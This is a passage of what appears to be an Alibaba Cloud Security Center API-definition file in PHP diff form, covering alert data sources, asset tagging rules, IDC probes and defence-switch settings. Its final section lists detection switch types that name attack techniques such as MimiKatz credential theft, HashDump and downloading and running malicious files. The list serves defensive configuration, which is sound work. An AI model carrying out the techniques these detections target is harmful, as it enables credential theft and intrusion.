'type' => 'string', + 'example' => 'all:dingtalk_all;cms:dingtalk_vul_cms;oval:dingtalk_vul_cve;sys:dingtalk_vul_sys;emg:dingtalk_vul_emg', + ], + 'OperatorList' => [ + 'description' => '操作符类型。', + 'type' => 'array', + 'items' => [ + 'description' => '操作符类型。', + 'type' => 'object', + 'properties' => [ + 'Description' => [ + 'description' => '操作符描述。', + 'type' => 'string', + 'example' => 'dingtalk_vul', + ], + 'Name' => [ + 'description' => '操作符名称。', + 'type' => 'string', + 'example' => 'regex', + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7532B7EE-7CE7-5F4D-BF04-B12447DDXXXX\\",\\n \\"MetaDatas\\": [\\n {\\n \\"Description\\": \\"dingtalk_suspicious\\",\\n \\"DataSourceName\\": \\"sas_analysis_pre-sas-operation-log-sas-event-suspicious\\",\\n \\"DataSourceId\\": 1753,\\n \\"MetaDataFields\\": [\\n {\\n \\"ValueType\\": \\"string\\",\\n \\"Filed\\": \\"type\\",\\n \\"FiledName\\": \\"dingtalk_vul_type\\",\\n \\"Sample\\": \\"all:dingtalk_all;cms:dingtalk_vul_cms;oval:dingtalk_vul_cve;sys:dingtalk_vul_sys;emg:dingtalk_vul_emg\\",\\n \\"OperatorList\\": [\\n {\\n \\"Description\\": \\"dingtalk_vul\\",\\n \\"Name\\": \\"regex\\"\\n }\\n ]\\n }\\n ]\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询钉钉告警配置的数据源', + ], + 'CreateOrUpdateAutoTagRule' => [ + 'summary' => '新增或修改资产管理规则中已创建的规则。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '91932', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + ], + 'parameters' => [ + [ + 'name' => 'RuleId', + 'in' => 'query', + 'schema' => [ + 'description' => '规则ID。'."\n" + .'> 调用[ListAutoTagRules](~~ListAutoTagRules~~)接口获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '300566', + ], + ], + [ + 'name' => 'RuleName', + 'in' => 'query', + 'schema' => [ + 'description' => '规则名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'text-001', + ], + ], + [ + 'name' => 'RuleDesc', + 'in' => 'query', + 'schema' => [ + 'description' => '规则的描述信息。', + 'type' => 'string', + 'required' => false, + 'example' => 'describe', + ], + ], + [ + 'name' => 'Expression', + 'in' => 'query', + 'schema' => [ + 'description' => '规则的表达式。', + 'type' => 'string', + 'required' => false, + 'example' => '[{"groups":"0","fieldValueType":"string","field":"internetIp","operator":"equals","value":"12.0.0.1"}]', + ], + ], + [ + 'name' => 'TagType', + 'in' => 'query', + 'schema' => [ + 'description' => '打标类型。取值：'."\n" + .'- **group**：分组'."\n" + .'- **tag**：标签', + 'type' => 'string', + 'required' => true, + 'example' => 'tag', + ], + ], + [ + 'name' => 'TagContext', + 'in' => 'query', + 'schema' => [ + 'description' => '打标的内容。'."\n" + ."\n" + .'* TagType为group时，该参数需要配置为{"groupId":XXX}，其中XXX是分组的ID，调用[DescribeGroupStruct](~~DescribeGroupStruct~~)接口可获取该值。'."\n" + .'* TagType为tag时，该参数需要配置为{"tagId":XXX}，其中XXX是标签的ID，调用[DescribeGroupedTags](~~DescribeGroupedTags~~)接口可获取该值。', + 'type' => 'string', + 'required' => false, + 'example' => '{"tagId":7804789}', + ], + ], + [ + 'name' => 'CheckAll', + 'in' => 'query', + 'schema' => [ + 'description' => '是否后端检查。取值：'."\n" + .'- **true**：是'."\n" + .'- **false**：否', + 'type' => 'boolean', + 'required' => false, + 'example' => 'false', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '33DCC98C-824D-55D6-8DC5-47F3A71AD867', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => '-101', + 'errorMessage' => 'Invalid parameter value.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"33DCC98C-824D-55D6-8DC5-47F3A71AD867\\"\\n}","type":"json"}]', + 'title' => '创建或者更新规则', + ], + 'ListAutoTagRules' => [ + 'summary' => '使用云安全中心系统配置，功能设置，多云配置管理，资产管理规则功能，调用该接口查询资产标签规则列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + ], + 'parameters' => [ + [ + 'name' => 'RuleName', + 'in' => 'query', + 'schema' => [ + 'description' => '规则名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'text-001', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'> 建议PageSize取值不要为空。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '1383B0DB-D5D6-4B0C-9E6B-75939C8E67FE', + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页最多显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '196', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + ], + ], + 'AutoTagRuleList' => [ + 'description' => '规则列表。', + 'type' => 'array', + 'items' => [ + 'description' => '单个规则。', + 'type' => 'object', + 'properties' => [ + 'Expression' => [ + 'description' => '规则的表达式。', + 'type' => 'string', + 'example' => '[{\\"groups\\":\\"0\\",\\"fieldValueType\\":\\"string\\",\\"field\\":\\"internetIp\\",\\"operator\\":\\"equals\\",\\"value\\":\\"12.0.0.1\\"}]', + ], + 'TagContext' => [ + 'description' => '打标的内容。', + 'type' => 'string', + 'example' => '{\\"tagId\\":4577447}', + ], + 'AliUid' => [ + 'description' => '阿里云账号ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '558463566374****', + ], + 'RuleDesc' => [ + 'description' => '规则的描述信息。', + 'type' => 'string', + 'example' => 'describe', + ], + 'TagType' => [ + 'description' => '打标类型。取值：'."\n" + .'- **group**：分组。'."\n" + .'- **tag**：标签。', + 'type' => 'string', + 'example' => 'group', + ], + 'ModifiedTimestamp' => [ + 'description' => '规则最近一次更新的时间戳。单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1614674401000', + ], + 'Id' => [ + 'description' => '规则ID。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '900029', + ], + 'CreateTimestamp' => [ + 'description' => '数据的创建时间戳。单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1614674401000', + ], + 'RuleName' => [ + 'description' => '规则名称。', + 'type' => 'string', + 'example' => 'auto_test_rule', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"1383B0DB-D5D6-4B0C-9E6B-75939C8E67FE\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 196,\\n \\"Count\\": 2\\n },\\n \\"AutoTagRuleList\\": [\\n {\\n \\"Expression\\": \\"[{\\\\\\\\\\\\\\"groups\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"0\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"fieldValueType\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"string\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"field\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"internetIp\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"operator\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"equals\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"value\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"12.0.0.1\\\\\\\\\\\\\\"}]\\",\\n \\"TagContext\\": \\"{\\\\\\\\\\\\\\"tagId\\\\\\\\\\\\\\":4577447}\\",\\n \\"AliUid\\": 0,\\n \\"RuleDesc\\": \\"describe\\",\\n \\"TagType\\": \\"group\\",\\n \\"ModifiedTimestamp\\": 1614674401000,\\n \\"Id\\": 900029,\\n \\"CreateTimestamp\\": 1614674401000,\\n \\"RuleName\\": \\"auto_test_rule\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '获取资产标签规则列表', + ], + 'DeleteAutoTagRules' => [ + 'summary' => '使用云安全中心系统配置，功能设置，多云配置管理，资产管理规则功能，调用该接口删除规则。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'delete', + 'abilityTreeCode' => '91946', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'RuleIdList', + 'in' => 'query', + 'schema' => [ + 'description' => '规则ID，多个用英文逗号分割。'."\n" + .'> 调用[ListAutoTagRules](~~ListAutoTagRules~~)接口获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => '2331,56,5644', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'CD380235-A0B8-540D-A0D5-D6288446****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"CD380235-A0B8-540D-A0D5-D6288446****\\"\\n}","type":"json"}]', + 'title' => '删除资产自动打标规则', + ], + 'IgnoreIdcProbeScanResult' => [ + 'summary' => '对IDC探针扫描出的结果进行加白或忽略。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'none', + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'ScanResultIds', + 'in' => 'query', + 'schema' => [ + 'description' => '扫描结果ID，多个用英文逗号分割。'."\n" + ."\n" + .'> 调用[DescribeIdcProbeScanResultList](~~DescribeIdcProbeScanResultList~~)接口获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => '332098932,332098964,332098963', + ], + ], + [ + 'name' => 'IgnoreAction', + 'in' => 'query', + 'schema' => [ + 'description' => '指定需要执行的操作。取值：'."\n" + .'- **1**：加白'."\n" + .'- **2**：忽略', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'E30282D8-AB2D-5EB1-998B-2DDFA948D49D', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"E30282D8-AB2D-5EB1-998B-2DDFA948D49D\\"\\n}","type":"json"}]', + 'title' => '探针扫描结果加白和忽略', + ], + 'AddIdcProbe' => [ + 'summary' => '新增IDC探针，将本地数据中心IDC（Internet Data Center）中的资产接入到云安全中心，通过云安全中心控制台统一管理IDC资产信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'create', + 'abilityTreeCode' => '91899', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'IdcName', + 'in' => 'query', + 'schema' => [ + 'description' => 'IDC机房名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'test', + ], + ], + [ + 'name' => 'IpSegments', + 'in' => 'query', + 'schema' => [ + 'description' => '网段设置。', + 'type' => 'string', + 'required' => true, + 'example' => '192.168.XX.XX/24', + ], + ], + [ + 'name' => 'WinPort', + 'in' => 'query', + 'schema' => [ + 'description' => 'Windows端口。', + 'type' => 'string', + 'required' => true, + 'example' => '40', + ], + ], + [ + 'name' => 'LinuxPort', + 'in' => 'query', + 'schema' => [ + 'description' => 'Linux端口。', + 'type' => 'string', + 'required' => true, + 'example' => '40', + ], + ], + [ + 'name' => 'IdcRegion', + 'in' => 'query', + 'schema' => [ + 'description' => '地域。', + 'type' => 'string', + 'required' => true, + 'example' => 'Hangzhou', + ], + ], + [ + 'name' => 'PeriodUnit', + 'in' => 'query', + 'schema' => [ + 'description' => '扫描周期的单位，取值：'."\n" + .'- **day**：天。'."\n" + .'- **hour**：小时。', + 'type' => 'string', + 'required' => true, + 'example' => 'day', + ], + ], + [ + 'name' => 'IntervalPeriod', + 'in' => 'query', + 'schema' => [ + 'description' => '扫描周期。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + [ + 'name' => 'Uuids', + 'in' => 'query', + 'schema' => [ + 'description' => '服务器UUID。多个UUID采用英文半角逗号分隔。'."\n" + .'> 调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => '076a446d-df7d-424c-bdc5-bb5dc7f1****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '返回结果。', + 'type' => 'object', + 'properties' => [ + 'Count' => [ + 'description' => '返回条数。', + 'type' => 'string', + 'example' => '1', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'D706F2DD-FF07-576B-9DD1-0B484A9B3065', + ], + 'AddIdcProbeFailedList' => [ + 'description' => '失败的记录集合。', + 'type' => 'array', + 'items' => [ + 'description' => '单个记录。', + 'type' => 'object', + 'properties' => [ + 'Uuid' => [ + 'description' => '服务器UUID。多个UUID采用英文半角逗号分隔。'."\n" + .'> 调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取该参数。', + 'type' => 'string', + 'example' => '076a446d-df7d-424c-bdc5-bb5dc7f1****', + ], + 'InternetIp' => [ + 'description' => '服务器的公网IP。'."\n", + 'type' => 'string', + 'example' => '95.214.XXX.XXX', + ], + 'InstanceName' => [ + 'description' => '服务器实例名称。', + 'type' => 'string', + 'example' => 'gl-sms-01', + ], + 'IdcRegion' => [ + 'description' => '地域。', + 'type' => 'string', + 'example' => 'Hangzhou', + ], + 'ErrorMsg' => [ + 'description' => '错误信息。', + 'type' => 'string', + 'example' => 'The ResourceDirectoryId is invalid.', + ], + 'InstanceId' => [ + 'description' => '实例ID。', + 'type' => 'string', + 'example' => 'sas-yqcl2ck3****', + ], + 'IpSegments' => [ + 'description' => '网段设置。', + 'type' => 'string', + 'example' => '192.168.XX.XX/24', + ], + 'IdcName' => [ + 'description' => 'IDC机房名称。', + 'type' => 'string', + 'example' => 'test', + ], + 'IntranetIp' => [ + 'description' => '内网IP。', + 'type' => 'string', + 'example' => '172.29.XXX.XXX', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Count\\": \\"1\\",\\n \\"RequestId\\": \\"D706F2DD-FF07-576B-9DD1-0B484A9B3065\\",\\n \\"AddIdcProbeFailedList\\": [\\n {\\n \\"Uuid\\": \\"076a446d-df7d-424c-bdc5-bb5dc7f1****\\",\\n \\"InternetIp\\": \\"95.214.XXX.XXX\\",\\n \\"InstanceName\\": \\"gl-sms-01\\",\\n \\"IdcRegion\\": \\"Hangzhou\\",\\n \\"ErrorMsg\\": \\"The ResourceDirectoryId is invalid.\\",\\n \\"InstanceId\\": \\"sas-yqcl2ck3****\\",\\n \\"IpSegments\\": \\"192.168.XX.XX/24\\",\\n \\"IdcName\\": \\"test\\",\\n \\"IntranetIp\\": \\"172.29.XXX.XXX\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '新增探针', + 'description' => '云安全中心仅支持在已安装Agent的IDC服务器中新增IDC探针。', + ], + 'DeleteIdcProbe' => [ + 'summary' => '删除云安全中心IDC探针功能中已创建的IDC探针。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'delete', + ], + 'parameters' => [ + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '资产的UUID。'."\n" + .'> 调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => 'inet-1234567****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '5DFD6277-CC36-57F7-ACE6-F5952XXXXXXXX', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"5DFD6277-CC36-57F7-ACE6-F5952XXXXXXXX\\"\\n}","type":"json"}]', + 'title' => '删除IDC探针', + ], + 'ModifyIdcProbe' => [ + 'summary' => '修改IDC探针配置信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '92368', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + ], + 'parameters' => [ + [ + 'name' => 'IdcName', + 'in' => 'query', + 'schema' => [ + 'description' => 'IDC机房名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'test', + ], + ], + [ + 'name' => 'IpSegments', + 'in' => 'query', + 'schema' => [ + 'description' => '网段设置。', + 'type' => 'string', + 'required' => false, + 'example' => '192.168.XX.XX/24', + ], + ], + [ + 'name' => 'WinPort', + 'in' => 'query', + 'schema' => [ + 'description' => 'Windows端口。', + 'type' => 'string', + 'required' => false, + 'example' => '40', + ], + ], + [ + 'name' => 'LinuxPort', + 'in' => 'query', + 'schema' => [ + 'description' => 'Linux端口。', + 'type' => 'string', + 'required' => false, + 'example' => '80', + ], + ], + [ + 'name' => 'IdcRegion', + 'in' => 'query', + 'schema' => [ + 'description' => '地域。', + 'type' => 'string', + 'required' => false, + 'example' => 'Hangzhou', + ], + ], + [ + 'name' => 'PeriodUnit', + 'in' => 'query', + 'schema' => [ + 'description' => '扫描周期的单位，取值：'."\n" + .'- **day**：天。'."\n" + .'- **hour**：小时。', + 'type' => 'string', + 'required' => false, + 'example' => 'day', + ], + ], + [ + 'name' => 'IntervalPeriod', + 'in' => 'query', + 'schema' => [ + 'description' => '扫描周期。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'Uuids', + 'in' => 'query', + 'schema' => [ + 'description' => '服务器UUID。多个UUID采用英文半角逗号分隔。'."\n" + .'>调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => '5b6d4072118f487094199cedf90c****,f6310b7976144639867beea2f346****', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '使用状态。取值：'."\n" + ."\n" + .'- **0**：启用'."\n" + .'- **1**：停用', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回参数。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '20456DD5-5CBF-5015-9173-12CA4246B***', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"20456DD5-5CBF-5015-9173-12CA4246B***\\"\\n}","type":"json"}]', + 'title' => '修改IDC探针配置', + ], + 'DescribeCommonOverallConfigList' => [ + 'summary' => '查询防御开关的配置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '92031', + 'abilityTreeNodes' => [ + 'FEATUREsas2XWKXT', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '119.136.XX.XX', + ], + ], + [ + 'name' => 'TypeList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '配置类型列表。'."\n" + .'> 单次查询最大支持50个配置类型。', + 'type' => 'array', + 'items' => [ + 'description' => '配置类型。取值：'."\n" + ."\n" + .'- **kdump_switch**：主动防御优化体验'."\n" + .'- **threat_detect**：自适应威胁检测能力'."\n" + .'- **suspicious_aggregation**：告警关联'."\n" + .'- **alidetect**：文件检测'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_38857**：Linux入口服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50858**：Linux Web服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50859**：Linux入口服务执行可疑操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50862**：Linux云助手高级防护'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50867**：Linux植入恶意文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50868**：Linux植入可疑文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_64025**：Linux入口服务执行命令[增强模式]'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51229**：Windows浏览器服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51230**：Windows入口服务执行可疑操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51232**：Windows系统进程执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51233**：Windows Java服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51234**：Windows Office组件执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51235**：Windows Web服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52820**：Windows植入恶意文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52826**：Windows入口服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_55251**：Windows数据库服务执行高危操作'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_63725**：Windows入口服务植入可疑脚本/二进制文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_3277**：Linux可疑进程启动'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50983**：Linux混淆命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51200**：Linux命令行下载运行恶意文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_71131**：Linux入口服务执行可疑行为序列'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51225**：Windows Powershell执行高危命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_51226**：Windows Powershell执行可疑命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52821**：Windows可疑进程启动'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_57242**：Windows恶意命令执行'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_57340**：Windows命令行下载运行恶意文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_39659**：Windows敏感注册表项防护'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52816**：Windows高危账号操纵行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54365**：Windows创建服务自启动项'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54366**：Windows创建高危自启动项'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54367**：Windows创建计划任务自启动项'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54368**：Windows创建注册表自启动项'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54369**：Windows创建WMI自启动项'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50869**：Linux越权执行高危命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_53272**：Linux利用内核漏洞提权'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54395**：Linux越权读写敏感文件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_57897**：Linux疑似提权行为'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52825**：Windows越权执行高危命令'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_5507**：Linux恶意驱动'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50876**：Linux对抗安全软件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_53168**：Linux进程调试'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54699**：Linux劫持动态链接库'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_62981**：Linux绕过安全监控'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52815**：Windows加载高危驱动'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52823**：Windows运行高危ARK工具'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54373**：Windows对抗安全软件'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54374**：Windows入侵痕迹清理'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54265**：Linux劫持PAM模块'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54953**：Linux HashDump攻击'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54383**：Windows MimiKatz凭据窃取'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_54384**：Windows HashDump攻击'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_50861**：Linux信息探测'."\n" + .'- **USER-ENABLE-SWITCH-TYPE_52818**：Windows信息探测'."\n" + .'- 